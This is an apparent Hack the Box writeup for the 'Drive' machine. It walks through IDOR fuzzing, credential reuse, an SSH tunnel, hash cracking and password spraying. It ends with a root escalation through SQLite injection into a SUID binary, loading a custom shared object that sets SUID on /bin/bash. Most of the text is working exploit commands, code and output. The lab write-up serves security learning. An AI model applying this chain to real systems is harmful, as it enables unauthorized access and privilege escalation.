Drive
Hack the Box machine writeup
Last updated
Hack the Box machine writeup
Last updated
Drive was a box on the easier side of the hard difficulty. It involves some pretty straightforward steps and a little bit of reversing. Many of the steps center around finding plain text creds and none of it is overly technical until Root. To obtain user.txt first the attacker will enumerate an IDOR vulnerability that will let them read other users' files on the web application. One of these files contains creds that can be used to login with SSH and obtain a foothold shell as Martin. Next a tunnel to port 3000 must be established to bypass port filtering and access a Gitea instance. The attacker can reuse Martins creds here to discover a repository that contains a backup.sh script and a hardcoded password. Going back to the drive.htb server the attacker can find a bunch of backup 7z archives that can be unzipped with the discovered password. These archives contain password hashes that can be cracked to obtain a shell with the Tom user over SSH.
The root step mainly involved the reversing of an ELF executable. In doing so an SQL injection is discovered that when combined with the run-time loadable extensions function of sqlite allows for arbitrary C code to be run. Abusing this then allows for escalation to root as the ELF executable is run with suid permissions.
Starting off with an nmap scan reveals SSH open on port 22, an nginx web server redirecting to http://drive.htb on 80 and a filtered port 3000.
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -sC -sV 10.10.11.235
[sudo] password for kali:
Sorry, try again.
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-20 13:03 EDT
Nmap scan report for 10.10.11.235
Host is up (0.034s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 27:5a:9f:db:91:c3:16:e5:7d:a6:0d:6d:cb:6b:bd:4a (RSA)
| 256 9d:07:6b:c8:47:28:0d:f2:9f:81:f2:b8:c3:a6:78:53 (ECDSA)
|_ 256 1d:30:34:9f:79:73:69:bd:f6:67:f3:34:3c:1f:f9:4e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://drive.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.57 seconds
I will then add drive.htb to my /etc/hosts file for DNS resolution.
Whenever I discover a domain I like to fuzz for other subdomains or virtual hosts that might exist. In this case there was nothing to be discovered
Navigating to drive.htb displays a generic company page for a web application called Doodle Grive. There are tabs for Home, About, Services, Team, and Contact Us. About, services and team are all simply anchored to points on the main page.
Contact us is a generic contact form.
Sending this through burp and looking at the server response headers does not reveal anything of value like a framework. It will also print a message about contacting us soon.
Home links to /home/ which appears to be the doodle gdrive web application. At this directory there is a file called Welcome_to_Doodle_Gdrive that links to a login form, /login. This form can also be reached by the login button found in the top right.
Guessing some basic stuff like admin:admin doesn't get anywhere and it does not appear like the error message will allow us to enumerate usernames. There is a register link at the bottom however and using this to register a new account we can then login.
Upon logging in we are redirected back to the home page. Clicking dashboard will bring us back to /home/ and we are now able to view the message in the Welcome file.
Going back and clicking upload we are directed to /upload. Here we can upload a file to the service that is the ASCII text mime type.
Uploading the file we are redirected to /home/ and can see the new file. Clicking on it we are given the new options of change properties, delete and edit content. delete and edit content do what you would think.
Change properties redirects to /112/update where the name of the file can be changed.
Reports generate a log of activity on the service.
Lastly there is groups that will allow the user to create groups and upload files to the group.
At this point it becomes clear that there is some kind of object referencing going on in the urls. For example we have: /112/update, /112/getFileDetail/ and /112/editContent. It is possible that we can change the 112 to reference another file and exploit an Indirect Object Reference through the URL. To test this we can use /getFileDetail as it will likely allow us to read other files. Testing with /0/getfiledetails simply returns a json internal server error that states no file matches the given query. At this point it is a good idea to attempt to fuzz the value. For this we will use Wfuzz and pass it the csrf token and session id cookies from an intercepted burp request in order to authenticate the Wfuzz requests.
I will also use the --hh 82 flag to filter out the default responses with chars length 82 like we did when fuzzing for subdomains.
┌──(kali㉿kali)-[~/Desktop]
└─$ wfuzz -u "http://drive.htb/FUZZ/getFileDetail/" -w /usr/share/seclists/Fuzzing/3-digits-000-999.txt -b "csrftoken=dpwb1ogUGPSMX7LSvEcpRhuWsmgxvJG3; sessionid=k31y8dft2f6i2tvn5bmqq4ew7eckiiq7" --hh 82
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://drive.htb/FUZZ/getFileDetail/
Total requests: 1000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000102: 401 0 L 2 W 26 Ch "101"
000000100: 401 0 L 2 W 26 Ch "099"
000000099: 401 0 L 2 W 26 Ch "098"
000000101: 200 171 L 376 W 5084 Ch "100"
000000080: 401 0 L 2 W 26 Ch "079"
000000113: 200 166 L 365 W 5061 Ch "112"
Total time: 16.31307
Processed Requests: 1000
Filtered Requests: 994
Requests/sec.: 61.30051
This returns our known 112 test file but also 100 which is the Welcome_to_Doodle_Grive! file. The other values return a 401 unauthorized response, likely because these are owned by other users. Thinking that perhaps one of the functions that references the files: /block, /update or /edit Content might not correctly apply the authorization filtering I fuzzed those with the value 079 from the unauthorized above. /079/block/ returns a file titled announce_to_the_software_Enginner and with it we have found and confirmed an IDOR vulnerability that allows us to look at other peoples files we should not have access to.
Viewing this file, announce_to_the_software_Engineering_team, we can find credentials for a user martin with the password Xk4@KjyrYv8t194L!.
Using the same IDOR to view the other files 101 reveals a message about a scheduled database backup plan. it also gives us a couple more users of jamesMason and Cris.
098 just gives us a generic message and another user of crisDiesl. 99 just reveals a message about there being security issues in the middleware.
Using the creds we found martin:Xk4@KjyrYv8t194L! we can SSH into the drive.htb host.
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh martin@drive.htb
martin@drive.htb's password: Xk4@KjyrYv8t194L!
<...>
martin@drive:~$ id
uid=1001(martin) gid=1001(martin) groups=1001(martin)
As we do not yet have user.txt we can check the home directory and see that we likely will need to move laterally to the cris or tom users. We can also see a git user, signaling that the filtered port 3000 was likely a git hosting service.
martin@drive:/home$ ls
cris git martin tom
Using netstat we can see the 3000 port listening on all addresses. we can also see there is a mysql server listening locally on port 3306 and likely port 33060.
/martin@drive:/home$ netstat -tlnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::3000 :::* LISTEN -
Using curl to access the port 3000 server from the localhost we can see that the port filtering is bypassed and we are returned to the Gitea website. From here I used SSH to set up port forwarding for the 3000 port. In this way we can use the tunnel to access the website from our attacking hosts browser and bypass the filtering.
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh -L 127.0.0.1:3000:127.0.0.1:3000 martin@drive.htb
martin@drive.htb's password: Xk4@KjyrYv8t194L!
<...>
martin@drive:~$
Using explore we cannot find any repositories and we are only shown user accounts we already know. We can try logging in with martins creds. While this does not work with username martin, it does let us in with martin@drive.htb. We can now see the DoodleGrive repository in explore.
In this repository there is the db_backup.sh script that was mentioned in one of the files on the web application we discovered. This script file contains the hardcoded password H@ckThisP@ssW0rDIfY0uC@n:) which is used to create the backup zip files. If we find these backups we can likely use this password to decrypt them.
The note about the backup script also mentioned the /var/backups directory we can check it out. Here we can see a DoodleGdrive.zip folder owned by www-data that we cannot read, meaning we likely have to get a shell as www-data at some point.
martin@drive:/var/backups$ ls -la
<...>
-r--r----- 1 www-data www-data 7282018 Feb 11 2023 DoodleGrive.zip
Checking out /var/www there is a backups directory here as well. In /var/www/backups there are a bunch of .7z backups we can read this time as well as a db.sqlite3 file.
martin@drive:/var/www/backups$ ls -la
total 3740
drwxr-xr-x 2 www-data www-data 4096 Sep 1 18:23 .
drwxr-xr-x 5 root root 4096 Sep 15 13:34 ..
-rw-r--r-- 1 www-data www-data 13018 Sep 1 20:00 1_Dec_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data 12226 Sep 1 20:00 1_Nov_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data 12722 Sep 1 20:00 1_Oct_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data 12770 Sep 1 20:00 1_Sep_db_backup.sqlite3.7z
-rwxr-xr-x 1 root root 3760128 Dec 26 2022 db.sqlite3=
To quickly transfer all these back to my attacking machine I will abuse the python3 installed on drive.htb to create a simple http server on port 42069. I will then use wget with the recursive -r flag to pull all the files from the newly created web server directory.
martin@drive:/var/www/backups$ python3 -m http.server 42069
Serving HTTP on 0.0.0.0 port 42069 (http://0.0.0.0:42069/) ...
10.10.14.11 - - [20/Oct/2023 18:20:31] code 404, message File not found
10.10.14.11 - - [20/Oct/2023 18:20:31] "GET /* HTTP/1.1" 404 -
10.10.14.11 - - [20/Oct/2023 18:20:43] "GET / HTTP/1.1" 200 -
10.10.14.11 - - [20/Oct/2023 18:20:43] code 404, message File not found
10.10.14.11 - - [20/Oct/2023 18:20:43] "GET /robots.txt HTTP/1.1" 404 -
10.10.14.11 - - [20/Oct/2023 18:20:43] "GET /1_Dec_db_backup.sqlite3.7z HTTP/1.1" 200 -
10.10.14.11 - - [20/Oct/2023 18:20:43] "GET /1_Nov_db_backup.sqlite3.7z HTTP/1.1" 200 -
10.10.14.11 - - [20/Oct/2023 18:20:43] "GET /1_Oct_db_backup.sqlite3.7z HTTP/1.1" 200 -
10.10.14.11 - - [20/Oct/2023 18:20:43] "GET /1_Sep_db_backup.sqlite3.7z HTTP/1.1" 200 -
10.10.14.11 - - [20/Oct/2023 18:20:43] "GET /db.sqlite3 HTTP/1.1" 200 -
┌──(kali㉿kali)-[~/Desktop]
└─$ wget -r http://drive.htb:42069/
<...>
FINISHED --2023-10-20 14:20:42--
Total wall clock time: 2.0s
Downloaded: 6 files, 3.6M in 1.6s (2.34 MB/s)
I decided to check out the db.sqlite3 database first since it was unencrypted. Browsing this database it appears to be connected to the web application as we can find the files we had previously discovered in the myApp_file table.
In the accounts_customuser table we can find 5 password hashes for different user accounts. adding all these hashes to a file and using hashcat we can crack the password for the tomHands user to john316
hashcat.exe C:\Users\hackerfren\Desktop\hashes.txt rockyou.txt
<...>
124 | Django (SHA-1) | Framework
<...>
sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004:john316
Sadly this password does not work for SSH or anything else. From here it was time to use the previously discovered password to decrypt and unzip all the backup .7z archives.
┌──(kali㉿kali)-[~/Desktop/drive.htb:42069]
└─$ 7z x 1_Dec_db_backup.sqlite3.7z
<...>
Enter password H@ckThisP@ssW0rDIfY0uC@n:)
Everything is Ok
Size: 3760128
Compressed: 13018
<...>
┌──(kali㉿kali)-[~/Desktop/drive.htb:42069]
└─$ ls
1_Dec_db_backup.sqlite3.7z 1_Oct_db_backup.sqlite3.7z db_1.sqlite3 db_3.sqlite3 DoodleGrive
1_Nov_db_backup.sqlite3.7z 1_Sep_db_backup.sqlite3.7z db_2.sqlite3 db.sqlite3
These databases are much like the previous one already went through. We will do the same process as before , copying all the hashes to a text file and running that through hashcat. The database for December contains a different hash type that will take forever to crack, as such I will not add these ones to the list. This will result in 2 more passwords for the tom user and the one we already discovered.
┌──(kali㉿kali)-[~/Desktop/drive.htb:42069]
└─$ cat hashes.txt
sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a
sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f
sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004
sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f
sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3
sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a
sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f
sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a
sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f
sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3
sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a
sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f
sha1$Ri2bP6RVoZD5XYGzeYWr7c$71eb1093e10d8f7f4d1eb64fa604e6050f8ad141
sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f
sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3
hashcat.exe C:\Users\Jacob\Desktop\hashes.txt rockyou.txt
<...>
sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004:john316
sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a:johnmayer7
sha1$Ri2bP6RVoZD5XYGzeYWr7c$71eb1093e10d8f7f4d1eb64fa604e6050f8ad141:johniscool
Spraying these 2 new passwords against SSH we get in with johnmayer7. We can then grab user.txt and move on to exploiting root.
┌──(kali㉿kali)-[~/Desktop/drive.htb:42069]
└─$ ssh tom@drive.htb
tom@drive.htb's password: johnmayer7
tom@drive:~$ id
uid=1003(tom) gid=1003(tom) groups=1003(tom)
tom@drive:~$ cat user.txt
4fc88c46f3e1edac1c34faf0cd862a3c
In tom's home directory we can find a suid binary called doodleGrive-cli. we can see that the file is an ELF binary. Running it we are asked for a username and a password.
tom@drive:~$ ls -la
<...>
-rwSr-x--- 1 root tom 887240 Sep 13 13:36 doodleGrive-cli
tom@drive:~$ file doodleGrive-cli
doodleGrive-cli: setuid ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=8c72c265a73f390aa00e69fc06d96f5576d29284, for GNU/Linux 3.2.0, not stripped
tom@drive:~$ ./doodleGrive-cli
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
test
Enter password for test:
test
Invalid username or password.
Finding the password and username for the binary was as easy as running as strings command, which will print out all the ascii strings, and then grepping for the password. Assuming the check is either right before or after the password prompt we can add the --before 5 and --after flag to print 5 line before and after the match.
tom@drive:~$ strings doodleGrive-cli | grep pass --before 5 --after 5
exiting...
please Select a valid option...
PATH
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
Enter password for
moriarty
findMeIfY0uC@nMr.Holmz!
Welcome...!
Invalid username or password.
xeon_phi
haswell
../csu/libc-start.c
FATAL: kernel too old
__ehdr_start.e_phentsize == sizeof *GL(dl_phdr)
We can see from this command that the user name is Moriarty and the password is findMeIfY0uC@nMr.Holmz!. Running the binary with these credentials results in an interactive application with a menu of 6 options. I played around with this a bit but without reversing the application it is hard to know what exactly is going on.
tom@drive:~$ ./doodleGrive-cli
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
moriarty
Enter password for moriarty:
findMeIfY0uC@nMr.Holmz!
Welcome...!
doodleGrive cli beta-2.2:
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
The first thing to do was to transfer the application back to my host machine. I will do this the same way as before using a python simple http server.
tom@drive:~$ python3 -m http.server 42069
Serving HTTP on 0.0.0.0 port 42069 (http://0.0.0.0:42069/) ...
10.10.14.11 - - [20/Oct/2023 19:05:35] "GET /doodleGrive-cli HTTP/1.1" 200 -
┌──(kali㉿kali)-[~/Desktop]
└─$ wget http://drive.htb:42069/doodleGrive-cli
<...>
Saving to: ‘doodleGrive-cli’
doodleGrive-cli 100%[================================================================>] 866.45K 2.89MB/s in 0.3s
2023-10-20 15:05:32 (2.89 MB/s) - ‘doodleGrive-cli’ saved [887240/887240]
Next I opened the executable in Ghidra, disassembled and analyzed the file. Doing so we can see the main_menu function. This contains the 5 choices we saw before as a switch statement which each calls a separate function.
void main_menu(void)
{
long in_FS_OFFSET;
char local_28 [24];
undefined8 local_10;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
fflush((FILE *)stdin);
do {
putchar(10);
puts("doodleGrive cli beta-2.2: ");
puts("1. Show users list and info");
puts("2. Show groups list");
puts("3. Check server health and status");
puts("4. Show server requests log (last 1000 request)");
puts("5. activate user account");
puts("6. Exit");
printf("Select option: ");
fgets(local_28,10,(FILE *)stdin);
switch(local_28[0]) {
case '1':
show_users_list();
break;
case '2':
show_groups_list();
break;
case '3':
show_server_status();
break;
case '4':
show_server_log();
break;
case '5':
activate_user_account();
break;
case '6':
puts("exiting...");
/* WARNING: Subroutine does not return */
exit(0);
default:
puts("please Select a valid option...");
}
} while( true );
}
Looking at these functions we can see that they are all making SQL queries with sqlite3 and returning the data. In case 5 calling the activate_user_acount function we appear to have the first case of interactivity with the SQL and an apparent SQL injection as we are able to control input into the query. There is a santize_string that attempts to prevent us from doing this however which we can see directly before the SQL query.
else {c
sanitize_string(local_148);
snprintf(local_118,0xfa,
"/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line \'UPDATE accounts_customuser SE T is_active=1 WHERE username=\"%s\";\'"
,local_148);
Looking at the santize_string function we can see that it is doing some checks on the passed value.
local_20 = *(long *)(in_FS_OFFSET + 0x28);
local_3c = 0;
local_29 = 0x5c7b2f7c20270a00;
local_21 = 0x3b;
local_38 = 0;
do {
sVar2 = strlen(param_1);
if (sVar2 <= (ulong)(long)local_38) {
param_1[local_3c] = '\0';
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
bVar1 = false;
for (local_30 = 0; local_30 < 9; local_30 = local_30 + 1) {
if (param_1[local_38] == *(char *)((long)&local_29 + (long)(int)local_30)) {
bVar1 = true;
break;
}
}
if (!bVar1) {
param_1[local_3c] = param_1[local_38];
local_3c = local_3c + 1;
}
local_38 = local_38 + 1;
} while( true );
}
Decoding the hex we can see that local_29 is a set of bad chars {/| '. we can also see that local_21 is a ;. We can assume that these are bad chars we will need to avoid while creating the SQL injection.
Looking back at the SQL query we can see that sqlite3 is being used. This is good because it allows us to execute arbitrary code through a function called run-time loadable extensions. This effectively allows us to execute external .so scripts with the load_extension command. The ability to run code in this way though external scripts is not unique to sqlite3 and is also present in things such as Microsoft SQL server as an important note.
"/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line \'UPDATE accounts_customuser SE T is_active=1 WHERE username=\"%s\";\'"
Therefore we can use an input such as "+load_extension(script to run)--" to inject arbitrary code into the SQL statement to be executed. In order to do this we will need a .so file however. We can create one now and upload it to the same directory as the doodleGrive-cli binary. By keeping it in the same directory location we can reference it simply as ./nameoffile.
tom@drive:~$ cat hack.c
#include <stdlib.h>
#include <unistd.h>
void _init() {
setuid(0);
setgid(0);
system("/usr/bin/chmod +s /bin/bash");
}
This code will attach suid permissions to the /bin/bash binary, allowing anyone to run it with the -p flag to obtain root permissions. Next we need to compile it with GCC.
tom@drive:~$ gcc -shared hack.c -o hack.so -nostartfiles -fPIC
tom@drive:~$ ls
doodleGrive-cli hack.c hack.so README.txt user.txt
This will make our SQL injection look as follows, using + to avoid spaces as SQLite treats + as whitespace.
"+load_extension(./hack.so)--"
There is a problem though as the / character won't get past the sanitation. To get around this we can use the char sqlite3 function to pass in a series of char ascii digits instead. To make this even easier on ourselves we will rename hack.so to a.so so we require less chars. One final thing that helps us out is that when sqlite uses the load_exension function it automatically applies the .so at the end. Due to this we only need the char values of . / and a. We can use an online chart for this. Putting this all together you can see the final version of the injection string below with 46 being . 47 being / and 97 being a.
tom@drive:~$ mv hack.so a.so
"+load_extension(char(46,47,97))--"
We now have everything setup and configured as needed to execute the SQL injection and abuse run-time loadable extensions to execute our a.so code and achieve root.
tom@drive:~$ ./doodleGrive-cli
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
moriarty
Enter password for moriarty:
findMeIfY0uC@nMr.Holmz!
Welcome...!
doodleGrive cli beta-2.2:
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option: 5
Enter username to activate account: "+load_extension(char(46,47,97))--"
Activating account for user '"+load_extension(char(46,47,97))--"'...
Error: ./a.so: undefined symbol: sqlite3_a_init
We can now check that the /bin/bash binary was given suid privileges and run it with the -p flag to read root.txt and complete the box.
tom@drive:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash
tom@drive:~$ /bin/bash -p
bash-5.0# id
uid=1003(tom) gid=1003(tom) euid=0(root) egid=0(root) groups=0(root),1003(tom)
bash-5.0# cat root.txt
3012638f820ce127db67af30bba7d8a1